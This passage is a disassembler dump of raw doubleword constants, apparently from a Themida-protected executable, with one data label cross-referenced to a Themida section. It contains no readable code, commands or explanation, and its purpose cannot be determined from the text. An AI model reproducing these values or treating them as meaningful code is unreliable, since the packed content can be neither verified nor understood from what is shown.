106DCC85h, 4F04E612h, 0D8C245F2h, 6FFBA17h dd 1FFCC184h, 8454E8F7h, 0F65AD825h, 19DA54E8h, 0EBC132BCh dd 8B4A9A51h, 5287BC0Ch, 0E960D733h, 0F7096CD3h, 12B354E8h dd 0F3927138h, 0D02AA791h, 1BC8E01Bh, 0B6EC14BEh, 0D68CEED7h dd 19B854E9h, 472BABD0h, 70DD1E88h, 6726A116h, 7BBDBF80h dd 9BE454E9h, 54E97B99h, 6DAED81Bh, 88205B11h, 9CEFFE5Bh dd 1FFEA123h, 0EED75203h, 54E97C8Ch, 9B6A27E8h, 0D4E3A0AAh dd 54A9FC5Ah, 4F14D6D6h, 18B0E556h, 6CB5502h, 8CEED730h dd 0E84F144Fh, 27E9EB27h, 0C39B3162h, 7FD19882h, 0F66D7FFAh dd 7BF27985h, 0BD19F261h, 45F32F75h, 0F6CA74DBh, 2B1CB0E3h dd 34E118DFh, 4B0A8845h, 3A3805E4h, 0BA4F1494h, 0AD579C79h dd 8F54FFFBh, 0CC9C494Ch, 0D0E867D6h, 0AC3B663h, 52F8C588h dd 2254F04Eh, 0DD7A67E8h, 0C132B7B5h, 3AB0EAEBh, 0EE382B81h dd 6BD8F06Fh, 74F764AEh, 8B02C951h, 252F0E31h, 99E38712h dd 78F37899h, 4DCC8D95h, 740BC47Fh, 1AAE29AEh, 89EBD4BBh dd 0EB86CE25h, 0B1236F28h, 0D498A236h, 7EFB015Bh, 0B218E1FBh dd 0B22DAF4Eh, 959D6741h, 4144C774h, 349B12D9h, 0DDEF68EEh dd 462FAD66h, 3, 77510691h, 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h dd 319B32Ch, 6785D752h, 0DB617BF6h, 30CA9E19h, 90AA3EB9h dd 0B30D5FD8h, 53E68956h, 0A92372BBh, 2EBC165h, 0B728C381h dd 0DE01E695h, 4EE835Bh, 5C243487h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 51240C89h, 0C181E189h, 4, 4E981h, 0C870000h dd 3C895C24h, 4EC8124h, 89000000h, 0A4BB241Ch, 817AE52Fh dd 59265FCBh, 7E3C15Fh, 9865F381h, 0D989FB7Ch, 4EC815Bh dd 89000000h, 4812424h, 424h, 51555F00h, 6242C81h, 5D7BE84Dh dd 4D06C581h, 6F897BE8h, 3C8B5D08h, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 592434FFh, 4C481h, 6FE90000h dd 4DFFF910h, 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0EB6CA7B8h dd 0FFC50305h, 0B8D791E0h, 4FBBF705h, 25229C13h, 901A975Bh dd 9E7AE470h, 132E4B57h, 87F1CB1Ch, 408B310Ch, 44F2DE52h dd 5DC0D312h, 340BD948h, 92E3C743h, 1EE8C61Bh, 488431Eh dd 174C6E60h, 6042816Ah, 43362A2Bh, 0FAEE994Bh, 13137723h dd 58F9C742h, 6D6A4422h, 4900851Bh, 41E94166h, 0D5326E78h dd 12E87Fh, 0B0F20000h, 8F324078h, 0CAC087Fh, 59CEDE92h dd 7711F1FAh, 0E95BD78Ah, 8, 97B4FE04h, 0D9462A6Ch, 6B8BC381h dd 0DA810000h, 3657C325h, 0BFh, 5ADC8000h, 0F1F34FFh, 85h dd 0FEB45E00h, 71D9F681h, 8E0F5AA4h, 0Bh, 58B0Fh, 81660000h dd 815254D1h, 1E5571C6h, 10E94Fh, 58C70000h, 9C601D85h dd 58AE83AEh, 0E4BBD292h, 0C6811AEFh, 1D29A844h, 348953B0h dd 38C0F3Bh, 80000000h, 4FB496D6h, 6604EF83h, 0F7DBC881h dd 9544FF81h, 850FFFFFh, 17h, 80E18166h, 2BE9DFh, 0BCF30000h dd 8AF10547h, 7F76BAF4h, 0F05CF29h, 18Fh, 75E9F800h, 0AFFFFFFFh dd 80E25FC4h, 94BDCBE7h, 0C86CFD38h, 0CA8D2A7Dh, 0EE04EBBFh dd 0E905EB10h, 578h, 0F99C17D8h, 0AF2EA921h, 5C43C673h dd 0F49B14C6h, 0AD30AF2Eh, 0E96C3D78h, 3B36F6Eh, 53190184h dd 0EE6DB5D8h, 0F2D1686Fh, 0F053AF8Dh, 207F0D54h, 7349C077h dd 0EAED64E9h, 5ED99F8Bh, 127CD90Ah, 276322A5h, 0AAA038B7h dd 9E24DCBEh, 0BC43972h, 0BD3CBB41h, 0DA5D1D2Fh, 0E62A748Eh dd 76D95007h, 622FA82Ch, 0BF11C743h, 3B28803Fh, 2A8AB8DFh dd 3B6C28D3h, 4FC88E94h, 0F06FEF7Dh, 179042D8h, 0B631A745h dd 4AB61022h, 0C4AB3A82h, 0C9E31CDEh, 5B47251Ah, 11C54F05h dd 9511C296h, 0A5EDE9A2h, 0E00C9644h, 1EE9062Bh, 0B8108F4Fh dd 6265568Bh, 0D52A33B8h, 4F052357h, 6E3162D5h, 48058634h dd 235ADF00h, 36944F05h, 64003CAh, 4DA92E15h, 1A000000h dd 87D54E00h, 0AA4B024Ch, 1134D69Dh, 0C0771744h, 6CCC7349h dd 864F04E6h, 4E35FC24h, 0BF2E14C9h, 1, 6DC377DEh, 0A3396AEDh dd 0F873F822h, 0DE076C9Eh, 2CFDF94h, 85D75018h, 6E7AF567h dd 67868AD4h, 0C95174F3h, 53048B02h, 714BC677h, 0F9F16FEBh dd 79096F67h, 2375A15Bh, 374A4D7h, 0A6130FCEh, 0F15A8923h dd 0A007CEDBh, 6E7AFD7Ah, 9AAE8CF5h, 0CD0E4F05h, 9B37350Ah dd 42B54F05h, 24C5CD89h, 309736B1h, 2E299CDAh, 309DAF5Eh dd 27E661D6h, 4A85F8CBh, 0E7B09817h, 3B6ECF5h, 0D33F3484h dd 31D5796Fh, 0D9C58E3Bh, 76C39910h, 0CEA56C94h dword_5B5800 dd 3F2E152Bh, 0A4h, 4BC6775Eh, 0C26EEB71h, 0A399314h, 0EC7183D9h ; DATA XREF: Themida_:00556DC4o dd 0E632300Dh, 41B24F04h, 27C6CA94h, 8E943BB6h, 0A58D50CFh dd 1CC84F76h, 0DAFE5BB1h, 0BE878E40h, 4F0517BCh, 42169158h dd 0F1221591h, 97E84F2Eh, 4F051795h, 7DFF2417h, 0FF4F0518h dd 9329A015h, 36A26FA0h, 4A838F5Bh, 2E1500E9h, 5D12h, 0C6774500h dd 6DEB714Bh, 889215C3h, 0B6194AC5h, 5A6EE96Ch, 0DF8AADE9h dd 43DFE4DCh, 677EC296h, 0E43EB93Bh, 6CE7F576h, 1AFB27A3h dd 0DAB9DC5Bh, 9FC83F0h, 0EF8FCB42h, 83E1DEA8h, 0E14F0520h dd 0BB10FD2Eh, 0EE6DC377h, 0B9AE3A6Fh, 4F04E5B8h, 0E1286872h dd 2E14C9A2h, 1CBh, 0C2770200h, 60D77547h, 8549D3E9h, 2FACBE0Ah dd 0E64C1CACh, 806A72BAh, 71E86180h, 20A21B6Eh, 11B7007Dh dd 0DC1F54E9h, 19DDC58Ch, 200CA9Eh, 109964CCh, 0A14C132h dd 5FCBCA4Dh, 944B6198h, 54E8EB94h, 0CD2C5436h, 2633A60Eh dd 0E8EC5BD9h, 2516D954h, 0A46B5C97h, 6D7FF87Eh, 0AEE31EDFh dd 9358C2E5h, 3DBA4018h, 37932EBAh, 3AD2ACBh, 9433CD53h dd 7576FA95h, 0E9C8CF00h, 1037350Ah, 42B554E9h, 0F2DEA589h dd 610F33F8h, 4E000001h, 10C46FD8h, 0EA1BB97h, 3C859F23h dd 0AE3B04CBh, 0C654E957h, 2EBCBE87h, 0F73854E9h, 0A7143682h dd 0F279A124h, 0CA8E947Bh, 0BC47F4Dh, 0A43CBB41h, 0ED657CDFh dd 0A3396A0Bh, 0AD4CB416h, 5BD4862Eh, 1A006766h, 558EDA5Dh dd 0D2CDB6F8h, 0CCD633F8h, 1E3C8C0Fh, 0DAFB6B45h, 4B04790Ch dd 551Ch, 62D8BB00h, 0AAD825E8h, 8A4F04E6h, 65AC8649h dd 565487D4h, 5196C28Fh, 4F05A4D3h, 2668A872h, 9611C764h dd 79DC11C2h, 95DF3B9Ah, 6544D763h, 0E0E446BFh, 0A6404F05h dd 3023B936h, 9F2D12FFh, 264F05E1h, 0E0FC7E47h, 0B7784F05h dd 781FD0DAh, 0ABF9h, 6FD82C00h, 0F8D52AEDh, 7454E8F6h dd 0A4132983h, 0F378A225h, 78FF6078h, 2254E8F7h, 32B95858h dd 0D6B514BBh, 0E8F68BE9h, 6D26E954h, 8C53D18Eh, 0D46453B3h dd 9C504A5Ah, 0B09A4963h, 90473605h, 640ECBB9h, 0C55EDC21h dd 1DDE4F14h, 0C4E745BAh, 92454F14h, 7AF10BA1h, 0E753E9C3h dd 34094860h, 4F14C536h, 0B03945B6h, 0C4D85AABh, 0E3544F14h dd 3B8F1AAEh, 754226F7h, 5250F9F8h, 0B5FD4761h, 0DD8002FBh dd 1AB4247Eh, 5281DB5Ch, 8E984B61h, 0C97A4EC9h, 9EE7270Ch dd 0C4DE54FFh, 0F1E38D17h, 860CF05h, 854E85D7h, 0C69736F9h dd 2AED6FD8h, 0F054F9D5h, 34847754h, 6726A116h, 0A214BC3Bh dd 6FE4F429h, 500703A2h, 4C5C83D9h, 4054F0B8h, 1CDB3A66h dd 0F034360Fh, 7FB054EFh, 0A735B423h, 75547BACh, 0D45D621Dh dd 39A9E566h, 0EC6CB67Ah, 0F764AE6Bh, 0CD329174h, 54F0436Fh dd 0B410ACDh, 68ED7FF1h, 5C2CBCF1h, 0EC6B8AF6h, 3BB06A6Dh dd 0FDBF21A9h, 3F6E6F90h, 0CA8E98CDh, 93C47F4Dh, 0B7839h dd 41590000h, 4309158Ch, 64E0FC8h, 4DC47751h, 0EF6EED7Fh dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h dd 3EB930CAh, 5FD890AAh, 8950B30Dh, 405E0h, 42D0000h, 87000000h dd 895C2404h, 8468241Ch, 89000024h, 0AF682414h, 89000072h dd 68552434h, 0E4B4297h, 38BB535Dh, 310BA02Ch, 0EA895BDDh dd 14C0685Dh, 24890000h, 24048324h, 81525E04h, 4BE62404h dd 468F7ADDh, 0C0BB5308h, 8112603Dh, 1945C4EBh, 0A2F38116h dd 0F733AB72h, 81DBF7D3h, 103979EBh, 85E2955h, 2434FF5Bh dd 4C4835Eh, 5A2434FFh, 4C481h, 0ABE90000h, 69FFF909h dd 7A8D5A8Eh, 4228F91Eh, 5D553E1h, 0EB7395B8h, 0FFC50305h dd 0E5FC91E0h, 0B0A4646h, 8A7D3627h, 79100B2Eh, 36BEC43Fh dd 0E3AEAB22h, 86D68C38h, 0CBD08D62h, 6ACC0C2Bh, 0C0C01D23h dd 81512119h, 409D6123h, 0F69A2642h, 0B9608B28h, 9CDF2559h dd 45C14924h, 542D5970h, 34D77333h, 68B392Bh, 9652125h dd 0F859A577h, 0F921297Dh, 2881951Ch, 63B26A2Bh, 0E67B4C16h dd 7B069B70h, 78F8D20Bh, 0D304EB63h, 0E91DEF1Ch, 501h dd 0E1E41FD0h, 9736B139h, 444BCE8Bh, 0FCE31CDEh, 9538B726h dd 0F1643580h, 0BCB5776h, 5B11098Ch, 0F665BD20h, 0FAA95077h dd 0F059A785h, 28670554h, 0C12E6CCh, 35E8BA48h, 0CC9F7AD9h dd 0BA1711B8h, 48609B50h, 18403B2h, 80E2C3A2h, 0FC4F05AAh dd 0EE69EF3Bh, 0FB72F925h, 8F9C5BE1h, 5A9B4B6h, 66D6304Fh dd 9C43B4E9h, 0AA62C03Dh, 11C24F05h, 42F61444h, 0F85DF7C5h dd 0AA462419h, 75A64F05h, 13F23E98h, 78A225A4h, 0CC5679F2h dd 2D3F8D0Eh, 538337A9h, 0CE5591D9h, 508506B4h, 0D6DAA078h dd 87068137h, 0FA5DDC9Bh, 0E7746590h, 0F40E97D5h, 7EF5C740h dd 1F00C795h, 0E74F0527h, 466BEE72h, 6E3AF1FDh, 0DC9DAF3Dh dd 0D5BF0F5Dh, 953765ADh, 68DFA46Dh, 0BAE02E15h, 0E5D0BD3Ah dd 6Fh, 0BD3B67C6h, 7A67C53Ah, 37A54F05h, 0B32F24B4h, 77C69740h dd 0CC7349C0h, 4F04E66Ch, 35FC2486h, 2E14C94Eh, 1BFh, 0C377DE00h dd 62D67444h, 948ED7E5h, 0BCB022h, 0B4D71B22h, 62D36943h dd 2D1ED5E7h, 3BB42660h, 58DF9BA1h, 0FF78FA00h, 472F6FEDh dd 9D096295h, 0F53D65C7h, 3ADBC7A1h, 8C9639BEh, 6A494CCFh dd 0B705BE30h, 77FAD3BCh, 0EB714BC6h, 10ECF16Fh, 0D2389552h dd 17BECBE1h, 63EFE13Bh, 6C29FCAAh, 1EDF3E62h, 0ABD63CE3h dd 67081D67h, 4FDBEAA7h, 1ABB1188h, 4D14A00h, 80D85F1Ah dd 0E42D5535h, 2E15488Fh, 8BF8h, 0C6771F00h, 4A50714Bh dd 85BE0A8Dh, 6F7DF479h, 7AFF1BF4h, 0AEE867D6h, 0E22DEF9Bh dd 90281D48h, 0A2F83882h, 985FF178h, 27632C61h, 35943BB6h dd 95F168EDh, 2310A823h, 2EA92C76h, 6B543B9Ah, 4F05BF09h dd 0FCCC4B0Bh, 3F985B47h, 0D2E661D3h, 0B67FA307h, 2E15A7BDh dd 462Eh, 0C7389F00h, 4F05B565h, 12BB14C7h, 0F062C677h dd 37C6577h, 4F04E621h, 2A1F5083h, 4DCE8C9Eh, 5FD8908Ah dd 5F7DD60Dh, 0E1218Bh, 1AB3D24Dh, 7444C377h, 4E66EF3h dd 0FE22B84Fh, 14C94C37h, 1BD2Eh, 77D80000h, 6C7547C2h dd 0B0088736h, 81E3DC83h, 0E34F04E6h, 0BC3B6730h, 8E405A3Dh dd 0C38C4715h, 276B3189h, 0C3A19E7Dh, 214F04E5h, 70F925EEh dd 2AE3D6F9h, 2F98E5A8h, 8754E911h, 455D0454h, 95471594h dd 0CFCD1A9Bh, 5A37681Dh, 9D00BB30h, 557D685h, 0E8EB5EC2h dd 121EFC54h, 2C544F3h, 2E9BB828h, 13FC6983h, 0A621968Ch dd 9739BBE7h, 9D76AB26h, 2FAE2D3Fh, 66CA8F9Dh, 0F36078F7h dd 5AAB2ABEh, 54E99DD8h, 0D387E354h, 0DAA00454h, 3F8B1ED6h dd 22A512F3h, 16C6DCA3h, 89FA3C99h, 0F233F981h, 0FFh, 62D6CC25h dd 944128E5h, 0B3D6110Fh, 0D00552A6h, 93A7300Dh, 0CCF54E9h dd 0AE29AEBCh, 0C544F32Fh, 67E655F7h, 3E623855h, 3EE118DFh dd 1D60A7D4h, 16F9DC5Eh, 0E96A4B29h, 0AD66A954h, 4D5B281Ah dd 338C33F9h, 0CB000000h, 25E862D8h, 4E6AAD8h, 73498A4Fh dd 4E66ECCh, 1D05ED4Fh, 69A5B47h, 8C707CEAh, 1DF62B90h dd 0A766EC5Eh, 4F22C5Eh, 0C0C7084Fh, 8601h, 6FD85400h dd 0F8D52AEDh, 7454E8F6h, 7C40C69Ah, 2640A5E3h, 0B3A038B7h dd 1BD06A7Eh, 0B625FDE0h, 0BBA2A537h, 0E154E9DEh, 41F6171Bh dd 3BF4C7C6h, 0BA1DA90h, 8D0ACED8h, 0CD3043Fh, 36FAB426h dd 5BA7E20Ch, 954E1A9Dh, 0B4186538h, 5AD4D4h, 0E86FFDCFh dd 0DC15B71h, 0B424C692h, 0CD2B62Ah, 76ABAD0Ch, 0F0309A62h dd 0DAC6AC38h, 2089AA80h, 86D24D0Fh, 4D72014Dh, 0FCA900CDh dd 5EA69F7Eh, 0BA54FF6Dh, 0D8815679h, 0D52AED6Fh, 54F05AF1h dd 2E3C8C4Fh, 73AF2EA9h, 0F07745C4h, 6CF4BF78h, 9CC6CA94h dd 253AC3B6h, 28E5A06Ah, 0EFEE69EEh, 0B7058433h, 0C344F42Eh dd 0D14A0C16h, 48A223FBh, 0CFE2F67Ch, 34F08EBh, 0FE79FE1Fh dd 0D554031Fh, 0FC834C87h, 0A236B126h, 11C3h, 0E6CC0A00h dd 70519B0Fh, 9817C621h, 75DE13C0h, 0C477F358h, 6EED7F4Dh dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h, 19DB617Bh dd 0B930CA9Eh, 0D890AA3Eh, 57B30D5Fh, 0C781E789h, 4, 3304EF83h dd 3C31243Ch, 243C3324h, 0E189515Ch, 4C181h, 0E9810000h dd 4, 5C240C87h, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h dd 4895C24h, 0D3BD5524h, 81553B51h, 7668D6CDh, 4E5C10Bh dd 3F05ED81h, 0F58162F0h, 90EC2ACCh, 89E88950h, 545D58C2h dd 8124048Bh, 4C4h, 69226800h, 14890000h, 8408F24h, 5724048Bh dd 0C781E789h, 4, 8704C783h, 0FF5C243Ch, 815A2434h, 4C4h dd 420E900h, 8E65FFF9h, 790AB81Eh, 0C50305EBh, 7C70E0FFh dd 6FE62AC6h, 8AA1334Ch, 0DAA6128Bh, 523949B9h, 5A1E65E2h dd 2DFE6CA9h, 5D2E7027h, 3D3E5F9Eh, 0C3F07A36h, 10EB6596h dd 4 dup(0) dd 8166C08Bh, 83A16DF2h, 0E416A1BDh, 9750005h, 220DBD83h dd 740005E4h, 8B535019h, 42DB8C0h, 85890000h, 5E42215h dd 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h dd 42DB853h, 85890000h, 5E42215h, 0A5DA9D8Dh, 0D3FF05E6h dd 6AF9585Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 295DC350h, 8B55CA80h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0E5A46A3Dh, 8B0FE680h, 0E417858Dh, 8D09F805h, 5E4086Dh dd 0F00F983h, 6184h, 28D0F00h, 8A000000h, 3D8B64D0h, 2Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0F6C35343h dd 48BD17D2h, 89AE0395h, 0E41B6D95h, 0FFF0B05h, 2184h dd 8BF38B00h, 0F830F3Fh, 0E9000000h, 0Ah, 97690F83h, 9A618DCBh dd 0C0325DCEh, 0AAF35E50h, 49355E51h, 6A535041h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 6DADC351h, 826ED237h, 8B71285Eh, 0E407D595h, 4985C605h dd 4705E42Ah, 1C259D89h, 4E805E4h, 2C000000h, 66DCD688h dd 6650F78Bh, 8BDF0BBAh, 0E9042444h, 9, 83A89E7Dh, 307459C0h dd 66008BF8h, 4489D78Bh, 6A580424h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C407C356h dd 43E78877h, 0C3EE80D9h, 26F5B5FFh, 6A05E4h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D7206FC3h dd 21B58971h, 8D05E41Dh, 0E76D3085h, 219D2905h, 6605E416h dd 0D0FFD78Bh, 12E952h, 0AA610000h, 0EE1F0848h, 0D7B8ECDBh dd 47783D39h, 0E19FEA71h, 5185895Eh, 0E905E42Bh, 0Eh, 0B42C517Dh dd 9453EA9Dh, 0B5DF6F66h, 0EE81C3Dh, 7C000000h, 0FC6515CDh dd 0D328A058h, 4F2E7163h, 50BE6602h, 85C65AB9h, 5E42A49h dd 0F78B6653h, 4E8h, 986AFC00h, 0BA525088h, 3D964CAAh dd 585A310Fh, 17850F50h, 0E9000000h, 12h, 0F219F172h, 0BE742F04h dd 0A272FCDh, 0D93DE09Bh, 448B9F39h, 13E80424h, 71000000h dd 0BD4A5173h, 953F815Dh, 0AA327D20h, 11A0377Bh, 0CE941B0h dd 39000000h, 0D6223FDh, 801F1A61h, 5E9D937Ah, 12E9008Bh dd 0DB000000h, 8C81F875h, 5C492EE3h, 40982B1Eh, 0A524BB12h dd 2444893Eh, 52505004h, 5C9BF3BAh, 0BA310F31h, 7D8074BCh dd 585A585Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 4FC35646h, 958B5691h, 5E4200Dh, 0FFF18A5Ah, 0E426F5B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0FD3894BDh, 10E9h, 7007D000h, 7B356F1Ch dd 19778B88h, 61A4B608h, 0E2BE6613h, 30858DA5h, 0F05E76Dh dd 689h, 830F00h, 0FF000000h, 69958BD0h, 8D05E428h, 0E736D585h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 980CF291h, 0C281666Bh, 8589E91Ch, 5E42429h dd 5E9h, 9DB97400h, 206AA15Dh, 95FFFF6Ah, 5E42429h, 50414935h dd 0DD85C753h, 105E430h, 0C7000000h, 0E4257185h, 5, 66D38B00h dd 6AD68Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 516088C3h, 8B5B5A52h, 0E428ED9Dh, 0BD836105h dd 5E42265h, 6C840F00h, 8B000000h, 0E41FE995h, 71858B05h dd 6A05E417h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0F99BC353h, 4417E383h, 829B589h dd 0A36405E4h, 0 dd 8BD1BF0Fh, 0E4264585h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8154C957h dd 396D66C6h, 66E08B22h, 836B88BEh, 0E40111BDh, 850F0005h dd 37Dh, 2D72DABAh, 4985C630h, 5605E42Ah, 28059501h, 0EB6805E4h dd 818A97F1h, 0C1342434h, 0BE662352h, 0B5FF7D94h, 5E426F5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E2C35242h dd 6847699Fh, 0D5BCA9EBh, 0D698BA66h, 6D30858Dh, 8B5205E7h dd 0E4166995h, 0D0FF5A05h, 0EE8h, 1A3FC000h, 7EA890Dh dd 0E43F8A8Ah, 0B2705A73h, 66505EA3h, 89FD10BEh, 0D18B2404h dd 0C58D8Dh, 816605E4h, 89D1DBEEh, 0E432959Dh, 50609105h dd 5FD38B66h, 61C68B66h, 7E850h, 4CFA0000h, 2F31EA0Bh dd 5E5A51DBh, 4DB58B91h, 6A05E41Ah, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 39D9BAB5h dd 4E8761Dh, 0 dd 0E8000010h, 5, 372EA93Dh, 50505E5Dh, 5E852h, 9330000h dd 50B02BB6h, 5A310F52h, 310F5E58h, 0BE9h, 4FDD0800h, 1ED4123Bh dd 25BC19D3h, 448B585Ah, 8B0424h, 4489F18Bh, 66570424h dd 585AF18Bh, 89F08B66h, 0E40DA1B5h, 95B5FF05h, 8905E41Ah dd 0E4234585h, 9D0FF05h, 0E41725B5h, 95BD8B05h, 0E905E41Ah dd 8, 0E5EAF73Fh, 5BFC2ECCh, 6A3C7F03h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5B35C356h dd 0A8556FBCh, 4499589h, 81F805E4h, 0F8C7h, 119D8900h dd 0C705E413h, 202447h, 0B5036000h, 5E41D49h, 79DBBD83h dd 0F0005EBh, 13B84h, 0FE900h, 0C3560000h, 38872AAFh, 0D5926D76h dd 3825D80Eh, 28C78384h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 32C35646h, 1EE0664Fh, 96FA6C87h, 14E8h dd 5A1C0D00h, 90F8AE63h, 660FDA53h, 0BE682420h, 8E3E84D9h dd 319529E1h, 5A05E42Ah, 6A2E07C7h, 0C7F56469h, 74610447h dd 0B58B0061h, 5E40035h, 79E3858Bh, 6A05EBh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 234E89C3h dd 0E975FA65h, 14h, 0BD06BF7Eh, 52AAD3A1h, 0DA8DBAF5h dd 27D97379h, 7873C204h, 8B0C4789h, 0E411F5B5h, 0E7858B05h dd 8905EB79h, 0E422AD9Dh, 39B58905h, 8905E416h, 0BA660847h dd 0C7833D09h, 0C7D68B28h, 6F632E07h, 52006A6Eh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 16C5488Dh, 8944331Dh, 0E41A519Dh, 0B5852905h, 0C705E427h dd 69660447h, 1BBE0067h, 8B57A9C6h, 0EB79DF85h, 0B9950905h dd 8905E42Dh, 85890C47h, 5E408D5h, 79DB858Bh, 89F905EBh dd 0EA810847h, 116742F8h, 658D8D58h, 8B05E419h, 0E41699B5h dd 13E95005h, 4A000000h, 6755DCE4h, 43A5E3D9h, 4F6DF597h dd 6DBE944Bh, 0C89290Ah, 0F28B6624h, 0C5B5FFh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 32D109C3h, 769015F6h, 95231015h, 5E420EDh, 7303F168h dd 1AA1BE5Ch, 348113BAh, 7313F124h, 51006A5Ch, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F18D271h dd 0A957F6B4h, 0B5FFA860h, 5E41A95h, 0FFF08B66h, 0B8D0h dd 8BF80000h, 0FC00BF2h, 5F84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0DF7FBC4Bh dd 236DB5FFh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 11C202C3h, 9E9B2E2h, 4A000000h dd 5A3A2E62h, 35D7D491h, 2A6195FFh, 0BD8905E4h, 5E421E1h dd 0E7B6C08Bh, 16A1BD83h, 750005E4h, 0DBD8309h, 5E422h dd 53501974h, 2DB8C08Bh, 89000004h, 0E41A5585h, 529D8D05h dd 0FF05E6A9h, 83585BD3h, 0E4220DBDh, 17740005h, 2DB85350h dd 89000004h, 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 6A585BD3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0DD04C351h, 89A8AE93h, 0E403919Dh, 66C08B05h dd 0C08BF08Bh, 0E6BF04EBh, 41E90FBBh, 0DD000005h, 26FCE31Ah dd 889235B2h, 0DB4746C1h, 23FF9E19h, 879037B2h, 75EC6138h dd 8B04C852h, 0DF581E04h, 72F562B8h, 88F5D453h, 54F067AAh dd 77277C0Ah, 0AC8649C0h, 179CD34Ah, 0D1FB5449h, 0B6268A4Bh dd 7FB0A339h, 0A59A7958h, 4F0574C7h, 0FD19F225h, 5FEDFF7Eh dd 0DFBE6198h, 57584E6h, 622FE04Fh, 0E364D476h, 809A3BC9h dd 7CFEC7CEh, 0F84F0575h, 4D09C237h, 0AD331F45h, 40EC1F6Fh dd 0CB808A47h, 67D54D50h, 9882E1E4h, 460F5DD6h, 5C4FB79h dd 45B6794Fh, 503DB439h, 0B5078036h, 10A82797h, 0E4BEE248h dd 0C53A3805h, 79BA4F05h, 43C4729Ch, 0B0257D5Ch, 85325C39h dd 0E931731Bh, 376824CFh, 9BBDA2A5h, 55774F05h, 7F9FE42Dh dd 73C82E15h, 0F000000h, 8649C077h, 0F4A1DA9Ch, 0DE95FDE4h dd 0A8F8004Ah, 0B5B5FA57h, 7D4F05D8h, 99EA236Fh, 2A2E15BCh dd 0CCF87A4Bh, 0AA744F05h, 2C76AB2Ch, 6B622FA8h, 1, 6DC377A2h dd 0A0386DECh, 359DE9Ah, 1A955842h, 0CD32954Eh, 4F04E66Fh dd 45410ACDh, 0B7B58A93h, 554F04E5h, 2F7E68E3h, 4E654D6h dd 2A1FD04Fh, 7751E3F9h, 0E96EEA0Bh, 3CBF3CE6h, 0C677CC99h dd 6FEB714Bh, 0E5C5D0E8h, 37995CBDh, 82B10B86h, 0D62F8E51h dd 4F04E654h, 13B21FD0h, 0F3C940F7h, 8AFBE069h, 4F04E5A8h dd 5B7D304h, 0B603598Ah, 3C17C32Fh, 0A0CA27ADh, 6EA7EBF7h dd 2E15A205h, 8F76h, 0C677A100h, 6EEB714Bh, 8A4BD1EBh dd 2FAFBD0Fh, 0B00A18B0h, 1C66B870h, 5B40F514h, 4E6086Ah dd 7EB3644Fh, 0A499785Fh, 4F04E5C6h, 0FE18F526h, 0E960E97Fh dd 65BD24B4h, 7E9875F4h, 9C6943FCh, 280BC2CEh, 512E14CFh dd 7Fh, 52C67784h, 971758D1h, 0C71D4B6h, 4F05D12Eh, 0B5184D8Eh dd 0FD674B5Dh, 10FDCF62h, 0B334A2B8h, 0BBE74519h, 82E289E1h dd 0E1E45B04h, 5AF5B053h, 0F7A095FFh, 0D3862AABh, 27BF9C6h dd 36F94F05h, 580D90C5h, 7444C377h, 4E66EF3h, 0C1D9B84Fh dd 9CC6930Ah, 67D4CE94h, 0E62B0976h, 46894F04h, 0C38C4715h dd 14C994EFh, 11C52Eh, 8CE60000h, 798D3937h, 9CDCF86h dd 7F8FE41Fh, 7708410Ah, 0D77547C2h, 4726E960h, 4E5FC7Eh dd 6BB7784Fh, 36A26FEAh, 65848C56h, 675275F4h, 0D25505AEh dd 665F3EE1h, 4F04E604h, 54D38660h, 70D7B663h, 0E5CEAC91h dd 88F54F04h, 4F04E5AAh, 1ADDC90Ah, 118770B1h, 2CEF54E9h dd 11310169h, 0A9ED0A97h, 995EECECh, 34A37F1Eh, 402027B5h dd 8254E914h, 5219F838h, 0E96EB4DBh, 0BC05A6Eh, 60D5CD90h dd 9EAC2CE9h, 0F208A0DFh, 17EBC146h, 0F6854DB5h, 0CE8D6C94h dd 5CF6F656h, 193F1B9Ch, 804852F1h, 4DBEB507h, 0BF3F6B4Ah dd 20635700h, 4933F933h, 142h, 0C8AA9B7Ah, 2454E943h, 0D8B126F3h dd 